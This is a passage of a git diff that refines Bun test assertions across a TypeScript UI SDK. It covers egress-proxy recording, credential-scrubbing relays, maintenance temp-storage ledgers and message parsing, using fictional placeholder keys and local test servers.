describe("detectCandidates", () => { if (quote?.kind !== "blockquote") return; expect(quote.text).toBe("Sing to me of the man, Muse."); expect(quote.source).toBe("Homer, Odyssey, Book 1"); - expect(text.slice(quote.start, quote.end).endsWith("Book 1")).toBe(true); + expect(text.slice(quote.start, quote.end)).toEndWith("Book 1"); expect(text.slice(quote.end).trim()).toBe("That is the opening."); }); diff --git a/packages/ui-sdk/tests/client-environment.test.ts b/packages/ui-sdk/tests/client-environment.test.ts index 66e9f3f3fc..1001bf385d 100644 --- a/packages/ui-sdk/tests/client-environment.test.ts +++ b/packages/ui-sdk/tests/client-environment.test.ts @@ -80,6 +80,7 @@ describe("clientEnvironmentSchema", () => { JSON.stringify({ type: "chat_message", text: "hi", client: valid }) ); expect(parsed.ok).toBe(true); + expect(parsed.ok && parsed.message.type).toBe("chat_message"); if (parsed.ok && parsed.message.type === "chat_message") { expect(parsed.message.client).toEqual(valid); } @@ -96,6 +97,7 @@ describe("clientEnvironmentSchema", () => { test("a message without the field still parses (older clients)", () => { const parsed = parseClientMessage(JSON.stringify({ type: "chat_message", text: "hi" })); expect(parsed.ok).toBe(true); + expect(parsed.ok && parsed.message.type).toBe("chat_message"); if (parsed.ok && parsed.message.type === "chat_message") { expect(parsed.message.client).toBeUndefined(); } diff --git a/packages/ui-sdk/tests/coastline.test.ts b/packages/ui-sdk/tests/coastline.test.ts index 102fb97acd..670407b187 100644 --- a/packages/ui-sdk/tests/coastline.test.ts +++ b/packages/ui-sdk/tests/coastline.test.ts @@ -206,7 +206,8 @@ describe("simplify", () => { { length: 50_000 }, (_, i) => [15.6 + i * 1e-6, 38.2 + (i % 2) * 1e-9] as Coord, ); - expect(() => simplify(long, 50, 38.2)).not.toThrow(); + // A 1e-9 degree zigzag is far inside 50 m: only the endpoints survive. + expect(simplify(long, 50, 38.2)).toEqual([long[0]!, long.at(-1)!]); }); }); diff --git a/packages/ui-sdk/tests/egress-proxy.test.ts b/packages/ui-sdk/tests/egress-proxy.test.ts index 55aadae7a7..767d586d51 100644 --- a/packages/ui-sdk/tests/egress-proxy.test.ts +++ b/packages/ui-sdk/tests/egress-proxy.test.ts @@ -16,6 +16,13 @@ function get(socketPath: string, target: string, method = "GET", body?: string, req.on("error", reject); req.end(body); }); } +/** + * The proxy records an HTTP exchange when its server response closes, which + * can land after the client has read the whole body: wait for the record. + */ +async function recorded(records: EgressRecord[], count: number) { + for (let polls = 0; records.length < count && polls < 5_000; polls++) await Bun.sleep(1); +} function tunnel(socketPath: string, target: string, body: string): Promise { return new Promise((resolve, reject) => { const socket = connect(socketPath); let text = ""; @@ -38,7 +45,7 @@ test("real Unix HTTP proxy forwards cleartext and records only path and payload const proxy = await startEgressProxy(defaults(records)); try { expect(await get(proxy.socketPath, `${origin.url}voyage?private=excluded`)).toEqual({ status: 200, body: "Ithaca" }); - await Bun.sleep(1); + await recorded(records, 1); expect(records).toHaveLength(1); expect(records[0]).toMatchObject({ method: "GET", host: "127.0.0.1", port: origin.port, path: "/voyage", accounting: "http_wire_bound", outcome: "completed" }); expect(records[0]!.bytes).toBeGreaterThan(6); @@ -108,7 +115,7 @@ test("POST outside outward hosts reaches the origin without approval and records try { expect(await get(proxy.socketPath, `${origin.url}voyage?private=odysseus-query`, "POST", "Odysseus payload", { authorization: "Bearer odysseus-fictional-secret" }), "EGRESS_OUTSIDE_OUTWARD_POST_FORWARDED").toEqual({ status: 200, body: "Ithaca" }); - await Bun.sleep(1); + await recorded(records, 1); expect(calls).toBe(1); expect(approvals).toBe(0); expect(records).toHaveLength(1); expect(records[0]).toMatchObject({ method: "POST", host: "127.0.0.1", port: origin.port, path: "/voyage", outcome: "completed", accounting: "http_wire_bound" }); diff --git a/packages/ui-sdk/tests/egress-worker-runtime.test.ts b/packages/ui-sdk/tests/egress-worker-runtime.test.ts index 00164a8597..41370ab938 100644 --- a/packages/ui-sdk/tests/egress-worker-runtime.test.ts +++ b/packages/ui-sdk/tests/egress-worker-runtime.test.ts @@ -67,7 +67,7 @@ test.each(["strict", "governed"] as const)("%s real worker uses proxy while dire expect(socketConnections).toBe(0); expect(result.capabilities).toBe("0000000000000000"); expect(records.filter(record => record.outcome === "completed").length).toBeGreaterThanOrEqual(2); - expect(records.some(record => record.method === "CONNECT" && record.bytes > 0 && record.path === undefined)).toBe(true); + expect(records.filter(record => record.method === "CONNECT" && record.bytes > 0 && record.path === undefined).length, JSON.stringify(records)).toBeGreaterThan(0); console.log(`EGRESS_MEASUREMENT_${profile}=${JSON.stringify(result)}`); } finally { worker?.turnTemp?.close(); proxy.stop(); origin.stop(true); tlsOrigin.stop(true); hostSocket.close(); rmSync(fixture, { recursive: true, force: true }); } }); diff --git a/packages/ui-sdk/tests/gate-holder-crash.test.ts b/packages/ui-sdk/tests/gate-holder-crash.test.ts index 8184ec9f14..fe17ccf049 100644 --- a/packages/ui-sdk/tests/gate-holder-crash.test.ts +++ b/packages/ui-sdk/tests/gate-holder-crash.test.ts @@ -117,5 +117,5 @@ test("a released gate starts the payload once, with no gate descriptor and its s expect(exit, out + err).toBe(0); expect(readFileSync(join(brain, "payload-started.md"), "utf8"), "RELEASED_PAYLOAD_STARTS_ONCE").toBe("Odysseus"); expect(out.trim().split("\n"), "PAYLOAD_HOLDS_NO_GATE_DESCRIPTOR").toEqual(["0", "1", "2"]); - expect(readFileSync(join(brain, "payload-stdin.md")).equals(input), "PAYLOAD_STDIN_BYTE_IDENTICAL").toBe(true); + expect(readFileSync(join(brain, "payload-stdin.md")), "PAYLOAD_STDIN_BYTE_IDENTICAL").toEqual(input); }, 30_000); diff --git a/packages/ui-sdk/tests/inference-relay.test.ts b/packages/ui-sdk/tests/inference-relay.test.ts index d41ca99750..7ac8a0d16d 100644 --- a/packages/ui-sdk/tests/inference-relay.test.ts +++ b/packages/ui-sdk/tests/inference-relay.test.ts @@ -62,7 +62,7 @@ describe("inference relay", () => { expect((await send(r.socketPath, "POST", "/v1/messages", { authorization: "Bearer worker", "x-api-key": "worker" }, "{}")).status).toBe(200); expect(calls).toBe(2); expect(seen.map(item => item.headers.authorization)).toEqual(["Bearer odysseus-first-login", "Bearer odysseus-changed-login"]); - expect(seen.every(item => item.headers["x-api-key"] === undefined)).toBe(true); + expect(seen.map(item => item.headers["x-api-key"] as string | undefined)).toEqual([undefined, undefined]); }); test("credential resolution failures and invalid headers never reach upstream or disclose host secrets", async () => { diff --git a/packages/ui-sdk/tests/maintenance-temp-budget.test.ts b/packages/ui-sdk/tests/maintenance-temp-budget.test.ts index 7ebac0c9d7..e3b8fc8b8e 100644 --- a/packages/ui-sdk/tests/maintenance-temp-budget.test.ts +++ b/packages/ui-sdk/tests/maintenance-temp-budget.test.ts @@ -1,9 +1,10 @@ -import { afterEach, expect, spyOn, test } from "bun:test"; +import { afterEach, beforeEach, expect, spyOn, test } from "bun:test"; import * as fs from "node:fs"; import { Database } from "bun:sqlite"; +import { createHash } from "node:crypto"; import { existsSync, lstatSync, mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { join } from "node:path"; -import { reserveMaintenanceTemp, type MaintenanceTempReservation } from "../src/server/maintenance-temp-budget"; +import { reserveMaintenanceTemp, type MaintenanceTempDomain, type MaintenanceTempReservation } from "../src/server/maintenance-temp-budget"; import { hostMaintenanceTempLimits } from "../src/server/maintenance-temp-limits"; import { resolveMaintenanceTempLimits } from "../src/server/worker-state-limits"; import { ledgerChildLine } from "./maintenance-temp-ledger-protocol"; @@ -14,6 +15,14 @@ const children: ReturnType[] = []; const detached: { pid: number; start: string }[] = []; const reservations: MaintenanceTempReservation[] = []; const roots: string[] = []; +// Each test admits on its own ledger: the default one is shared by every +// process of this user on the host, so another suite's reservation would +// read as this test's busy refusal. +let domain: MaintenanceTempDomain; +beforeEach(() => { + const root = mkdtempSync("/tmp/odysseus-maintenance-budget-"); roots.push(root); + domain = { statePath: join(root, "ui.db") }; +}); const start = (pid: number) => { try { const raw = readFileSync(`/proc/${pid}/stat`, "utf8"); return raw.slice(raw.lastIndexOf(")") + 2).split(" ")[19]; } catch { return undefined; } @@ -25,12 +34,12 @@ afterEach(async () => { for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); }); function reserve(allowanceBytes = DEFAULT, budgetBytes = DEFAULT) { - const reservation = reserveMaintenanceTemp({ allowanceBytes, budgetBytes }); + const reservation = reserveMaintenanceTemp({ allowanceBytes, budgetBytes }, domain); reservations.push(reservation); return reservation; } type Receipt = { admitted: boolean; attached?: boolean; error?: string; waiting?: boolean; errorClass?: string; id?: string; directory?: string; pid?: number; worker?: { attached: boolean; pid: number } }; async function spawn(role: string, allowanceBytes = DEFAULT, budgetBytes = DEFAULT, action = "hold", marker?: string) { - const child = Bun.spawn([process.execPath, CHILD, role, JSON.stringify({ allowanceBytes, budgetBytes }), action, ...(marker ? [marker] : [])], { + const child = Bun.spawn([process.execPath, CHILD, role, JSON.stringify({ allowanceBytes, budgetBytes, statePath: domain.statePath }), action, ...(marker ? [marker] : [])], { stdin: "pipe", stdout: "pipe", stderr: "pipe", }); children.push(child); @@ -43,13 +52,17 @@ async function attach(reservation: MaintenanceTempReservation) { children.push(child); return { child, receipt: JSON.parse(await ledgerChildLine(child, "attach")) as Receipt }; } +/** The ledger a reservation was admitted on: a private domain's file sits beside its state path. */ +const ledgerFile = (reservation: MaintenanceTempReservation) => reservation.statePath + ? join(reservation.directory, `.brain-maintenance-${createHash("sha256").update(reservation.statePath).digest("hex").slice(0, 24)}.db`) + : join(reservation.directory, "reservations.db"); function rows(reservation: MaintenanceTempReservation) { - const db = new Database(join(reservation.directory, "reservations.db")); + const db = new Database(ledgerFile(reservation)); try { return db.query("SELECT id, bytes, released FROM reservations WHERE id = ?").all(reservation.id); } finally { db.close(); } } function changeOwner(reservation: MaintenanceTempReservation, changes: Record) { - const db = new Database(join(reservation.directory, "reservations.db")); + const db = new Database(ledgerFile(reservation)); try { const row = db.query("SELECT owner FROM reservations WHERE id = ?").get(reservation.id) as { owner: string }; db.query("UPDATE reservations SET owner = ? WHERE id = ?").run(JSON.stringify({ ...JSON.parse(row.owner), ...changes }), reservation.id); @@ -60,8 +73,8 @@ test("maintenance defaults and positive overrides are independent of agent sessi expect(hostMaintenanceTempLimits({ MAX_CONCURRENT_SESSIONS: "99" })).toEqual({ allowanceBytes: DEFAULT, budgetBytes: DEFAULT }); expect(hostMaintenanceTempLimits({ BRAIN_UI_MAINTENANCE_TEMP_BYTES: "4096", BRAIN_UI_MAINTENANCE_TEMP_BUDGET_BYTES: "8192" })).toEqual({ allowanceBytes: 4096, budgetBytes: 8192 }); for (const value of [0, -4096, 1, 0.5, NaN, Infinity, Number.MAX_SAFE_INTEGER, null]) { - expect(() => resolveMaintenanceTempLimits({ allowanceBytes: value as number })).toThrow(); - expect(() => resolveMaintenanceTempLimits({ budgetBytes: value as number })).toThrow(); + expect(() => resolveMaintenanceTempLimits({ allowanceBytes: value as number }), String(value)).toThrow("BRAIN_UI_MAINTENANCE_TEMP_BYTES must be a positive whole number of bytes"); + expect(() => resolveMaintenanceTempLimits({ budgetBytes: value as number }), String(value)).toThrow("BRAIN_UI_MAINTENANCE_TEMP_BUDGET_BYTES must be a positive whole number of bytes"); } for (const value of ["-4096", "1e6", "4096.0", "NaN", "8192KiB"]) expect(() => hostMaintenanceTempLimits({ BRAIN_UI_MAINTENANCE_TEMP_BYTES: value })).toThrow("digits only"); expect(() => reserveMaintenanceTemp({ allowanceBytes: 8192, budgetBytes: 4096 })).toThrow("cover at least one"); @@ -70,12 +83,12 @@ test("maintenance defaults and positive overrides are independent of agent sessi test("full allowances remain fixed across configuration changes and release is idempotent", () => { const first = reserve(); expect(rows(first)).toMatchObject([{ bytes: DEFAULT, released: 0 }]); - expect(() => reserveMaintenanceTemp({ allowanceBytes: 4096, budgetBytes: DEFAULT }), "MAINTENANCE_LEDGER_ADMISSION").toThrow("Maintenance temporary storage is busy"); + expect(() => reserveMaintenanceTemp({ allowanceBytes: 4096, budgetBytes: DEFAULT }, domain), "MAINTENANCE_LEDGER_ADMISSION").toThrow("Maintenance temporary storage is busy"); const second = reserve(DEFAULT, 2 * DEFAULT); - expect(() => reserveMaintenanceTemp({ allowanceBytes: DEFAULT, budgetBytes: DEFAULT })).toThrow("busy"); + expect(() => reserveMaintenanceTemp({ allowanceBytes: DEFAULT, budgetBytes: DEFAULT }, domain)).toThrow("busy"); first.release(); first.release(); expect(rows(first), "MAINTENANCE_LEDGER_RELEASE").toEqual([]); - expect(() => reserveMaintenanceTemp({ allowanceBytes: DEFAULT, budgetBytes: DEFAULT })).toThrow("busy"); + expect(() => reserveMaintenanceTemp({ allowanceBytes: DEFAULT, budgetBytes: DEFAULT }, domain)).toThrow("busy"); second.release(); const next = reserve(); expect(rows(next)).toHaveLength(1); }); @@ -117,7 +130,7 @@ test("parent death preserves an attached live worker, then recovers after that w const first = await spawn("owner-with-worker"); expect(first.receipt.worker?.attached).toBe(true); first.child.kill("SIGKILL"); await first.child.exited; - expect(() => reserveMaintenanceTemp({ allowanceBytes: DEFAULT, budgetBytes: DEFAULT }), "LIVE_WORKER_SURVIVES_OWNER_ACCOUNTING").toThrow("busy"); + expect(() => reserveMaintenanceTemp({ allowanceBytes: DEFAULT, budgetBytes: DEFAULT }, domain), "LIVE_WORKER_SURVIVES_OWNER_ACCOUNTING").toThrow("busy"); const worker = detached.at(-1)!; process.kill(worker.pid, "SIGKILL"); for (let i = 0; i < 100; i++) { @@ -136,7 +149,7 @@ test("PID reuse and an earlier boot are positively stale, while a foreign PID na next.release(); old.release(); } const unknown = reserve(); changeOwner(unknown, { namespace: "pid:[0]" }); - expect(() => reserveMaintenanceTemp({ allowanceBytes: DEFAULT, budgetBytes: DEFAULT }), "UNKNOWN_MAINTENANCE_OWNER_RETAINED").toThrow("busy"); + expect(() => reserveMaintenanceTemp({ allowanceBytes: DEFAULT, budgetBytes: DEFAULT }, domain), "UNKNOWN_MAINTENANCE_OWNER_RETAINED").toThrow("busy"); unknown.release(); expect(rows(unknown)).toEqual([]); }); @@ -149,7 +162,7 @@ test("attachment is single-use and release keeps a live child counted until exit expect(await duplicate.child.exited).toBe(0); pending.release(); pending.release(); expect(rows(pending), "RELEASE_PRESERVES_ATTACHED_LIVE_CHILD").toMatchObject([{ bytes: DEFAULT, released: 1 }]); - expect(() => reserveMaintenanceTemp({ allowanceBytes: DEFAULT, budgetBytes: DEFAULT })).toThrow("busy"); + expect(() => reserveMaintenanceTemp({ allowanceBytes: DEFAULT, budgetBytes: DEFAULT }, domain)).toThrow("busy"); worker.child.kill("SIGKILL"); await worker.child.exited; const next = reserve(); expect(rows(pending)).toEqual([]); next.release(); @@ -187,7 +200,7 @@ test("a live owner hidden by procfs is held rather than mistaken for a crashed r if(path===`/proc/${process.pid}/stat`) throw Object.assign(new Error("owned process is hidden"),{code:"ENOENT"}); return (read as (...args: unknown[])=>unknown)(path,...args); }) as typeof read); - try { expect(()=>reserveMaintenanceTemp({allowanceBytes:DEFAULT,budgetBytes:DEFAULT}),"UNVERIFIED_LIVE_OWNER_RETAINED").toThrow("busy"); } + try { expect(()=>reserveMaintenanceTemp({allowanceBytes:DEFAULT,budgetBytes:DEFAULT},domain),"UNVERIFIED_LIVE_OWNER_RETAINED").toThrow("busy"); } finally { hidden.mockRestore(); first.release(); } }); diff --git a/packages/ui-sdk/tests/maintenance-temp-holders.test.ts b/packages/ui-sdk/tests/maintenance-temp-holders.test.ts index 68f3a258d4..9016c8c03b 100644 --- a/packages/ui-sdk/tests/maintenance-temp-holders.test.ts +++ b/packages/ui-sdk/tests/maintenance-temp-holders.test.ts @@ -41,8 +41,8 @@ test("a busy refusal names its holders by kind, without paths or identities", () expect(error.message, "MAINTENANCE_BUSY_MESSAGE_NAMES_HOLDER_KIND").toBe("Maintenance temporary storage is busy: this command needs 256 MiB, " + "1 maintenance reservations hold 256 MiB of the separate 256 MiB budget (held by: scratch query). " + "Nothing ran. Retry after a maintenance command finishes; no agent runtime state was lost."); - expect(error.message.includes(root), "MAINTENANCE_BUSY_MESSAGE_HAS_NO_PATH").toBe(false); - expect(error.message.includes(String(process.pid)), "MAINTENANCE_BUSY_MESSAGE_HAS_NO_PROCESS_IDENTITY").toBe(false); + expect(error.message, "MAINTENANCE_BUSY_MESSAGE_HAS_NO_PATH").not.toContain(root); + expect(error.message, "MAINTENANCE_BUSY_MESSAGE_HAS_NO_PROCESS_IDENTITY").not.toContain(String(process.pid)); }); test("several holders are counted per kind", () => { diff --git a/packages/ui-sdk/tests/maintenance-temp-ledger-child.ts b/packages/ui-sdk/tests/maintenance-temp-ledger-child.ts index f3dffa570d..97657e194b 100644 --- a/packages/ui-sdk/tests/maintenance-temp-ledger-child.ts +++ b/packages/ui-sdk/tests/maintenance-temp-ledger-child.ts @@ -15,7 +15,9 @@ if (role === "attach") { } else { if (role === "race-reserve") { answer({ waiting: true, pid: process.pid }); await ledgerLine(Bun.stdin.stream()); } let reservation: MaintenanceTempReservation; - try { reservation = reserveMaintenanceTemp(JSON.parse(raw!)); } + // A test's private ledger, when it names one; the host default otherwise. + const { statePath, ...limits } = JSON.parse(raw!) as { allowanceBytes: number; budgetBytes: number; statePath?: string }; + try { reservation = reserveMaintenanceTemp(limits, statePath ? { statePath } : undefined); } catch (error) { answer({ admitted: false, errorClass: (error as { errorClass?: string }).errorClass, error: error instanceof Error ? error.message : String(error) }); process.exit(0); } if (marker) writeFileSync(marker, "admitted"); if (role === "owner-with-worker") { diff --git a/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.test.ts b/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.test.ts index daed86c1b3..2baefa7839 100644 --- a/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.test.ts +++ b/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.test.ts @@ -44,7 +44,7 @@ test("stderr larger than pipe capacity drains and retains only a bounded tail", const evidence = await failure(child); expect(evidence.exitCode).toBe(31); expect(Buffer.byteLength(evidence.stderr)).toBe(8192); - expect(evidence.stderr.endsWith("diagnostic-tail")).toBe(true); + expect(evidence.stderr).toEndWith("diagnostic-tail"); expect(await child.exited).toBe(31); }); diff --git a/packages/ui-sdk/tests/maintenance-temp.test.ts b/packages/ui-sdk/tests/maintenance-temp.test.ts index 6d3fa87327..08393f2304 100644 --- a/packages/ui-sdk/tests/maintenance-temp.test.ts +++ b/packages/ui-sdk/tests/maintenance-temp.test.ts @@ -126,12 +126,12 @@ test("both maintenance envelopes carry the approved paired restriction while age const base={brainPath:f.brain,command:["/bin/true"],env:{PATH:"/usr/bin:/bin"},credentials:false}; for (const input of [base,{...base,credentials:true,transport:{mirror,readPaths:[]}}]) { const argv=workerCommand(maintenanceLaunch(input)); - expect(argv.includes("--disable-userns"),"MAINTENANCE_TRANSPORT_RESTRICTION").toBe(true); - expect(argv.includes("--assert-userns-disabled")).toBe(true); + expect(argv,"MAINTENANCE_TRANSPORT_RESTRICTION").toContain("--disable-userns"); + expect(argv).toContain("--assert-userns-disabled"); } const agent=workerCommand({brainPath:f.brain,command:["/bin/true"],env:{}}); - expect(agent.includes("--disable-userns")).toBe(false); - expect(agent.includes("--assert-userns-disabled")).toBe(false); + expect(agent).not.toContain("--disable-userns"); + expect(agent).not.toContain("--assert-userns-disabled"); }); diff --git a/packages/ui-sdk/tests/message-source.test.ts b/packages/ui-sdk/tests/message-source.test.ts index 66328d9769..15c1327cae 100644 --- a/packages/ui-sdk/tests/message-source.test.ts +++ b/packages/ui-sdk/tests/message-source.test.ts @@ -36,6 +36,7 @@ describe("chat_message source", () => { for (const source of ["voice-telepathy", 7, null]) { const result = client({ type: "chat_message", text: "hi", source }); expect(result.ok).toBe(true); + expect(result.ok && result.message.type).toBe("chat_message"); if (result.ok && result.message.type === "chat_message") { expect(result.message.text).toBe("hi"); expect(result.message.source).toBeUndefined(); @@ -55,6 +56,7 @@ describe("session_history source", () => { test("a source this build does not know drops the field, never the history", () => { const result = history({ role: "user", content: "hi", toolCalls: [], source: "voice-telepathy" }); expect(result.ok).toBe(true); + expect(result.ok && result.message.type).toBe("session_history"); if (result.ok && result.message.type === "session_history") { expect(result.message.messages[0]!.content).toBe("hi"); expect(result.message.messages[0]!.source).toBeUndefined(); diff --git a/packages/ui-sdk/tests/native-brain-manager.test.ts b/packages/ui-sdk/tests/native-brain-manager.test.ts index 87b3790abf..0e7fcb5d2f 100644 --- a/packages/ui-sdk/tests/native-brain-manager.test.ts +++ b/packages/ui-sdk/tests/native-brain-manager.test.ts @@ -72,14 +72,15 @@ test("native EOF alone never proves successful broker completion", async () => { test("failed, mismatched and trailing completion cannot be called a complete delta", async () => { const data = nativeManagerFrame(1, Uint8Array.from([1])); - for (const parts of [ - [data, nativeManagerFrame(2, encode({ ok: true, exitCode: 1, bytes: 1 }))], - [data, nativeManagerFrame(2, encode({ ok: true, exitCode: 0, bytes: 2 }))], - [data, nativeManagerFrame(2, encode({ ok: true, exitCode: 0, bytes: 1 })), Uint8Array.from([0])], - ]) { + const unproven = "Native manager did not prove successful delta completion."; + for (const [parts, refusal] of [ + [[data, nativeManagerFrame(2, encode({ ok: true, exitCode: 1, bytes: 1 }))], unproven], + [[data, nativeManagerFrame(2, encode({ ok: true, exitCode: 0, bytes: 2 }))], unproven], + [[data, nativeManagerFrame(2, encode({ ok: true, exitCode: 0, bytes: 1 })), Uint8Array.from([0])], "Native delta contained bytes after broker completion."], + ] as const) { const decoded = decodeNativeDelta(stream(...parts), 64); - await expect(collect(decoded.stream), "NATIVE_NO_FALSE_COMPLETE_OR_TRAILING_BYTES").rejects.toThrow(); - await expect(decoded.completed).rejects.toThrow(); + await expect(collect(decoded.stream), "NATIVE_NO_FALSE_COMPLETE_OR_TRAILING_BYTES").rejects.toThrow(refusal); + await expect(decoded.completed).rejects.toThrow(refusal); } }); diff --git a/packages/ui-sdk/tests/owned-prune-variant.test.ts b/packages/ui-sdk/tests/owned-prune-variant.test.ts index 4e1efc8167..29da5765a7 100644 --- a/packages/ui-sdk/tests/owned-prune-variant.test.ts +++ b/packages/ui-sdk/tests/owned-prune-variant.test.ts @@ -30,11 +30,12 @@ test("fixed owned-prune variants refuse missing/duplicate anchors and preserve g }); test("real variant tick joins existing work and starts a subsequent pass with the same receiver/signal/output", async () => { - const root = mkdtempSync(join(tmpdir(), "odysseus-prune-variant-")); + // The transform may refuse (#2466): it runs before anything is allocated, and + // every resource below is owned by the finally from the moment it exists. const source = ownedPruneVariant(cron, boundary).cron.replace('"../governance/event-writes.js"', JSON.stringify(resolve(import.meta.dir, "../../ui-server/src/governance/event-writes.ts"))); - const file = join(root, "scratch-prune.ts"); writeFileSync(file, source); + const root = mkdtempSync(join(tmpdir(), "odysseus-prune-variant-")); const descriptor = Object.getOwnPropertyDescriptor(console, "log")!; - const records: unknown[] = []; Object.defineProperty(console, "log", { ...descriptor, value: (text: string) => records.push(JSON.parse(text)) }); + const records: unknown[] = []; let pruner: { tick(): Promise; close(): Promise } | undefined; let release!: () => void; const gate = new Promise(done => { release = done; }); let calls = 0, pins = 0; const seenSignals: AbortSignal[] = [], warnings: unknown[] = []; @@ -44,6 +45,8 @@ test("real variant tick joins existing work and starts a subsequent pass with th return JSON.stringify({ bytes: 0, pinned: { files: 0, bytes: 0 } }); } }; try { + const file = join(root, "scratch-prune.ts"); writeFileSync(file, source); + Object.defineProperty(console, "log", { ...descriptor, value: (text: string) => records.push(JSON.parse(text)) }); const { startScratchPrune } = await import(file); pruner = startScratchPrune({ brain, pins: { file: "Odysseus pins", async refresh(signal: AbortSignal) { expect(signal.aborted).toBe(false); pins++; } }, every: () => () => {}, log: { emit(value: unknown) { warnings.push(value); } } }); @@ -76,7 +79,6 @@ test("real variant tick joins existing work and starts a subsequent pass with th test("real original and variant boundary methods preserve owned operation order, result and cleanup error identity", async () => { const variant = ownedPruneVariant(cron, boundary).boundary; const descriptor = Object.getOwnPropertyDescriptor(console, "log")!, diagnostics: unknown[] = []; - Object.defineProperty(console, "log", { ...descriptor, value: (line: string) => diagnostics.push(JSON.parse(line)) }); const failure = Error("Odysseus owned operation refusal"); async function execute(source: string, fail: boolean, publish = true) { const signal = new AbortController().signal, logger = { emit() {} }, launch = { command: ["/bin/true"] }; @@ -115,6 +117,7 @@ test("real original and variant boundary methods preserve owned operation order, catch (error) { return { error, calls }; } } try { + Object.defineProperty(console, "log", { ...descriptor, value: (line: string) => diagnostics.push(JSON.parse(line)) }); const original = await execute(boundary, false), observed = await execute(variant, false); expect(observed, "OWNED_PRUNE_AUTHORITY_AND_EXECUTION_PRESERVED").toEqual(original); expect(observed.calls).toEqual(["authorize", "gate", "credential", "output-lock", "authorize", "view", "output", "git", "authorize", "authorize", "on-execute", "worker", "authorize", "publish", "output-cleanup", "view-cleanup"]); diff --git a/packages/ui-sdk/tests/provider-cache-masks.test.ts b/packages/ui-sdk/tests/provider-cache-masks.test.ts index 008cfecc5f..6e579783a8 100644 --- a/packages/ui-sdk/tests/provider-cache-masks.test.ts +++ b/packages/ui-sdk/tests/provider-cache-masks.test.ts @@ -21,7 +21,7 @@ function brain() { } test("the masked cache directory holds core's committed caches, and the masked files are core's legacy names", () => { - expect(SIDECAR_CACHES.every(path => path.startsWith(`${PROVIDER_CACHE_DIR}/`)), "CORE_WRITES_INTO_THE_MASKED_DIRECTORY").toBe(true); + expect(SIDECAR_CACHES.filter(path => !path.startsWith(`${PROVIDER_CACHE_DIR}/`)), "CORE_WRITES_INTO_THE_MASKED_DIRECTORY").toEqual([]); expect([...PROVIDER_CACHE_FILES], "LEGACY_LIST_MATCHES_CORE").toEqual(LEGACY_SIDECAR_CACHES.map(pair => pair.legacy)); }); diff --git a/packages/ui-sdk/tests/provider-relay-files.test.ts b/packages/ui-sdk/tests/provider-relay-files.test.ts index b50ce3b8a3..c5b61712f9 100644 --- a/packages/ui-sdk/tests/provider-relay-files.test.ts +++ b/packages/ui-sdk/tests/provider-relay-files.test.ts @@ -102,7 +102,7 @@ describe("the Files lifecycle a relayed brain video watch needs", () => { "POST /v1beta/models/gemini-3-flash-preview:generateContent", `DELETE /v1beta/${file.name}`, ]); - expect(seen.every(request => request.headers["x-goog-api-key"] === HOST_KEY), "HOST_KEY_ON_EVERY_LIFECYCLE_REQUEST").toBe(true); + expect(seen.map(request => request.headers["x-goog-api-key"]), "HOST_KEY_ON_EVERY_LIFECYCLE_REQUEST").toEqual(Array(seen.length).fill(HOST_KEY)); expect(seen[1]!.bytes, "UPLOAD_BYTES_FORWARDED").toBe(5); expect(seen[1]!.headers["x-goog-upload-command"]).toBe("upload, finalize"); expect(receipts.map(receipt => [receipt.operation, receipt.outcome]), "LIFECYCLE_ATTEMPTS_RECORDED").toEqual([ diff --git a/packages/ui-sdk/tests/provider-relay.test.ts b/packages/ui-sdk/tests/provider-relay.test.ts index 8ba19772f1..984526ab28 100644 --- a/packages/ui-sdk/tests/provider-relay.test.ts +++ b/packages/ui-sdk/tests/provider-relay.test.ts @@ -214,7 +214,7 @@ describe("review hardening", () => { try { const result = await relayed({}, { path: "/v1/messages" }); expect(result.status).toBe(200); - expect(result.body.includes(KEYS.ANTHROPIC_API_KEY!), "RELAY_SCRUBS_ECHOED_KEY").toBe(false); + expect(result.body, "RELAY_SCRUBS_ECHOED_KEY").not.toContain(KEYS.ANTHROPIC_API_KEY!); expect(JSON.parse(result.body).echo).toBe("[redacted]"); expect(result.receipts, "SCRUBBED_RESPONSE_STILL_METERED").toMatchObject([{ usage: { inputTokens: 1, outputTokens: 1 } }]); } finally { reply = () => Response.json({ usage: { input_tokens: 7, output_tokens: 3 } }); } @@ -273,7 +273,7 @@ describe("review hardening", () => { const stopped = relay.stop(); await stopped; expect(receipts.length, "RELAY_STOP_SETTLES_INFLIGHT").toBe(MAX_PROVIDER_CONCURRENT_REQUESTS); - expect(receipts.every(receipt => receipt.outcome === "cancelled" && receipt.usage === null)).toBe(true); + expect(receipts.map(receipt => [receipt.outcome, receipt.usage])).toEqual(Array(MAX_PROVIDER_CONCURRENT_REQUESTS).fill(["cancelled", null])); release(); await Promise.all(inflight); } finally { release(); await relay.stop(); reply = () => Response.json({ usage: { input_tokens: 7, output_tokens: 3 } }); seen.length = 0; } @@ -326,7 +326,7 @@ describe("second review", () => { try { const result = await relayed({ credential: name => name === "ANTHROPIC_API_KEY" ? padded : undefined }, { path: "/v1/messages" }); expect(result.upstream[0]!.headers["x-api-key"]).toBe(KEYS.ANTHROPIC_API_KEY); - expect(result.body.includes(KEYS.ANTHROPIC_API_KEY!), "TRIMMED_KEY_REDACTED").toBe(false); + expect(result.body, "TRIMMED_KEY_REDACTED").not.toContain(KEYS.ANTHROPIC_API_KEY!); } finally { reply = () => Response.json({ usage: { input_tokens: 7, output_tokens: 3 } }); } }); }); diff --git a/packages/ui-sdk/tests/retry-protocol.test.ts b/packages/ui-sdk/tests/retry-protocol.test.ts index e4c0d91be2..b9b11d8973 100644 --- a/packages/ui-sdk/tests/retry-protocol.test.ts +++ b/packages/ui-sdk/tests/retry-protocol.test.ts @@ -19,7 +19,7 @@ test("an unreadable optional retry handle cannot discard an otherwise readable f const frame = { type: "result", sessionId: "s1", isError: true, numTurns: 1, durationMs: 1, retryOfTurnId: 42, failure: { errorClass: "server_error", message: "Provider failed" } }; const result = parseServerMessage(JSON.stringify(frame)); - expect(result.ok).toBe(true); + expect(result.ok && result.message.type).toBe("result"); if (result.ok && result.message.type === "result") { expect(result.message.retryOfTurnId).toBeUndefined(); expect(result.message.failure).toEqual(frame.failure); diff --git a/packages/ui-sdk/tests/scope-contract.test.ts b/packages/ui-sdk/tests/scope-contract.test.ts index a79cb157e9..7d0ddc6111 100644 --- 